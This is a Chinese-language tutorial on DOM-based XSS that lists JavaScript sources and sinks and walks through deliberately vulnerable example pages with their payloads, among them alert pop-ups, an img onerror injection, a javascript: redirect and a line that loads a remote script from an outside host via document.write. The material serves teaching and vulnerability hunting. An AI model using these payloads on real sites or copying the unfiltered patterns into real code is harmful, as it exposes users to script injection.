0x01 DOM简介

DOM(Document Object Model)即文档对象模型,是HTML和XML文档的编程接口。

其中HTML DOM定义了所有HTML元素的对象和属性,以及访问它们的方法。换言之,HTML DOM是关于如何获取、修改、添加或删除HTML元素的标准。

DOM以树结构表达HTML文档。

下图为HTML DOM树形结构示例:

0x02 DOM型XSS

为何DOM型XSS

DOM型XSS是基于DOM文档对象模型的一种漏洞。严格地说,DOM型XSS其实算反射型XSS,区别在于DOM型XSS并不会和后台进行交互,是完完全全的Web前端安全问题,要做防御也只能在客户端上进行防御。

首先,客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它并不与服务端进行交互而是从客户端获得DOM中的数据(如从URL中获取数据)并在本地执行;其次,浏览器用户可以操纵DOM中的一些对象如URL、location等;因此,当攻击者可以控制一些DOM对象、输入一些恶意JS代码,而客户端的脚本并没有对用户输入内容进行有效的过滤就传入一些执行危险操纵的函数如eval等或直接输出到页面时,就会导致DOM型XSS漏洞的存在。

如下面的HTML文件就存在DOM型XSS,其功能是当我们在URL栏输入参数name的值后,就会在当前页面显示输入如的name的值,其功能的实现全都在前端JS中进行、未与后台进行任何交互:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title>DOM XSS</title>
</head>
<body>
<script>
var pos=document.URL.indexOf("name=")+5;
document.write(decodeURI(document.URL.substring(pos,document.URL.length)));
</script>
</body>
</html>

从代码层面看,漏洞形成原因很简单,document.URL获取用户输入,在代码中未经过任何过滤就传递给了document.write输出到当前页面中。

当我们正常输入name值时页面直接显示输入的内容,F12查看DOM文档可看到输入的内容确实是插入到当前DOM结构中:

也就是说DOM结构我们用户输入可控,当我们输入XSS payload时就会弹框,造成DOM型XSS:

挖掘思路

从挖洞角度看,任何漏洞都是从外部输入加上危险的操作导致的,这里DOM型XSS也不例外。

DOM型XSS中,其外部输入是JS中存在获取外部输入内容的可利用的代码如URL栏内容的location.href,然后该外部输入内容在未经过有效过滤的情况下就传入危险的输出函数直接输出到页面中或传入eval等危险执行函数就会在页面上直接解析恶意JS代码,导致DOM型XSS的存在。

下面列下外部输入Sources和危险敏感操作Sinks(包括执行/输出页面),而对于DOM型XSS漏洞挖掘来说,可以简单归纳为在客户端加载的JS代码中,存在Sources+Sinks的情况即有可能存在DOM型XSS。

Sources

  • document.URL
  • document.URLUnencoded
  • document.location(及其许多属性)
  • document.referrer
  • window.location(及其许多属性)
  • location
  • location.href
  • location.search
  • location.hash
  • location.pathname

Sinks

直接执行脚本类
  • eval(…)
  • window.execScript(…)
  • window.setInterval(…)
  • window.setTimeout(…)
写HTML页面类
  • document.write(…)
  • document.writeln(…)
  • element.innerHTML(…)
直接修改DOM类
  • document.forms[0].action=… (and various other collections)
  • document.attachEvent(…)
  • document.create…(…)
  • document.execCommand(…)
  • document.body. … (accessing the DOM through the body object)
  • window.attachEvent(…)
替换文档URL类
  • document.location=… (and assigning to location’s href, host and hostname)
  • document.location.hostname=…
  • document.location.replace(…)
  • document.location.assign(…)
  • document.URL=…
  • window.navigate(…)
打开/修改窗口类
  • document.open(…)
  • window.open(…)
  • window.location.href=… (and assigning to location’s href, host and hostname)

当然,除此之外,还有比较细节的特性这里就不列举了,可自行研究。

0x03 收集的一些例子

下面将一些遇到的题目案例做个简单的归纳,小结下常见的几种DOM型XSS场景。

location.hash+eval

hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。当其作为可控参数传入eval()时则会存在DOM型XSS漏洞。

dom_xss.php,eval()执行location.hash提取出来的内容:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>XSSdemo</title>
</head>
<script>
eval(decodeURI(location.hash.substr(1)))
</script>
<body>
</body>
</html>

根据location.hash属性,在URL栏输入如下内容尝试往页面写入恶意js代码:

1
#document.write("<script>alert('hacked by mi1k7ea')</script>")

在Chrome下会被拦截,因为Chrome自带的XSS过滤机制:

放到Firefox中是没问题的:

为了使Chrome下也生效,我们在自己的服务端放置一个恶意JS文件:

1
alert("Hacked by Mi1k7ea :) ")

然后改下poc远程加载恶意JS即可在Chrome上执行:

1
#document.write("<script/src=http://a.com/7ea.js></script>")

location.search+innerHTML

innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。

注意:innerHTML中嵌入script标签是不会执行JS代码的,可以使用img等标签替代。

案例源自:https://brutelogic.com.br/tests/sinks.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<body>
<p id="p1">Hello, guest!</p>
<script>

var currentSearch = document.location.search;
var searchParams = new URLSearchParams(currentSearch);

/*** Document Sink ***/

var username = searchParams.get('name');

if (username !== null) {
document.getElementById('p1').innerHTML = 'Hello, ' + username + '!';
}

</script>
</body>
</html>

通过document.location.search获取当前 URL 的查询部分(问号 ? 之后的部分);然后获取其中的name参数,若name参数不为空则通过innerHTML嵌入到页面中。

payload如下:

1
?name=<img%20src=x%20onerror=alert(/dom/)>

location.search+document.location

location指示了其所连接对象的url位置。Document和window对象中都有location属性,可以通过window.location和document.location访问。

案例源自:https://brutelogic.com.br/tests/sinks.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<body>
<p id="p1">Hello, guest!</p>
<script>

var currentSearch = document.location.search;
var searchParams = new URLSearchParams(currentSearch);

/*** Location Sink ***/

var redir = searchParams.get('redir');

if (redir !== null) {
document.location = redir;
}

</script>
</body>
</html>

从URL栏获取redir参数,判断不为空则赋值给document.location。而document.location会是页面跳转到输入的新的URL位置即更换访问的URL路径。此时可通过js伪协议实现DOM型XSS攻击。

payload如下,直接通过javascript伪协议实现XSS注入:

1
?redir=javascript:alert(/dom/)

location.search+eval

eval() 函数计算 JavaScript 字符串,并把它作为脚本代码来执行。

案例源自:https://brutelogic.com.br/tests/sinks.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<body>
<p id="p1">Hello, guest!</p>
<script>

var currentSearch = document.location.search;
var searchParams = new URLSearchParams(currentSearch);

/*** Execution Sink ***/

var nasdaq = 'AAAA';
var dowjones = 'BBBB';
var sp500 = 'CCCC';

var market = [];
var index = searchParams.get('index').toString();

eval('market.index=' + index);

document.getElementById('p1').innerHTML = 'Current market index is ' + market.index + '.';

</script>
</body>
</html>

这里获取URL栏的index值,然后调用eval()将该值赋给market.index,最后通过innerHTML将market.index的值输出到页面中。

本段代码问题在于参数index是直接传入eval()中,并未经过任何过滤,因此可直接输入恶意JS语句造成DOM型XSS。payload如下:

1
?index=alert(/7ea/)

0x04 参考

DOM Based Cross Site Scripting

DOM BASED CROSS SITE SCRIPTING CLIENT-SIDE ATTACKS ON BROWSERS

那些年我们一起学XSS